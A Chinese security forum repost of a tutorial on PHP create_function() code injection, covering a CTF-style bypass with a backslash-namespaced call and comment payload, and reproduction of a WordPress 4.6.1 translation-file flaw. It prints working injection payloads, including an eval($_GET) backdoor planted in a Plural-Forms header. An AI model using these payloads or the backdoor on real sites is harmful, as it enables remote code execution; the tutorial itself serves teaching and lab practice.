安全矩阵

 找回密码
 立即注册
搜索
查看: 1926|回复: 0

从本地到WordPress代码注入

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-22 13:38:31 | 显示全部楼层 |阅读模式
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
从本地到WordPress代码注入原创 Lxxx 合天网安实验室 4天前
什么是create_function?版本影响:注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0
简单讲解:首先还是先看PHP手册,PHP官方对create_function是这么定义的:



首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名
举个例子:
  1. <?php
  2. $Lxxx = create_function('$str' , 'echo $str;phpinfo();');
  3. echo $Lxxx;
  4. echo "<br>";
  5. echo $Lxxx("hello");
复制代码
​ 我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面
此时我们访问页面如下:



可以看到,这个时候打印输出了hello以及phpinfo页面
除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。
这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。
如何利用create_function()进行注入?想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的:



其实就是需要我们注意,这个函数本身就是在内部执行eval函数,
因此我们可以将上方的代码改写成另一种等价的形式:
  1. <?php
  2. function lambda_6($str){
  3.    echo $str;
  4.    phpinfo();
  5. }
  6. ?>
复制代码
那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢?
假设我们有以下代码:
  1. <?php
  2. $ctf = $_POST['ctf'];
  3. if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {
  4.    $ctf('',$_GET['Lxxx']);
  5. }
复制代码

其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。
既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。



问题一:
那么该如何又使用create_function函数,又不以字母开头呢?
分析一:
答案就是:使用反斜杠。
因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的
问题二:
对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办?

  1. <?php
  2. function lambda_6($str){
  3.    echo $str;
  4.    phpinfo();
  5. }
  6. ?>
复制代码
分析二:
注入的时候在末尾添加注释符,将后面的内容注释掉即可。
也就是说,我们只需要传如下payload即可:
  1. ?Lxxx=;}phpinfo();/*
  2. POSTDATA: ctf=\create_function
复制代码




WordPress中的create_function()注入影响范围:WordPress<=4.6.1
漏洞复现:WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数
涉及到的代码如下:

  1. /**
  2. * Makes a function, which will return the right translation index, according to the
  3. * plural forms header
  4. * @param int   $nplurals
  5. * @param string $expression
  6. */
  7. function make_plural_form_function($nplurals, $expression) {
  8. $expression = str_replace('n', '$n', $expression);
  9. $func_body = "
  10. \$index = (int)($expression);
  11. return (\$index < $nplurals)? \$index : $nplurals - 1;";
  12. return create_function('$n', $func_body);
  13. }
复制代码

从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回
首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数
首先plural forms在如下位置:



我们现在将第九行修改如下:

           

"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"
用;}将前面的内容闭合,并且使用/*注释掉后面的代码
再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。



这个时候在主页传payload:

           

?Lxxx=phpinfo();
即可得到phpinfo页面,也就达成了RCE。




实操推荐

Vulnhub渗透测试实战靶场WordPress:http://mrw.so/5YMgxN



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 17:42 , Processed in 0.012525 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表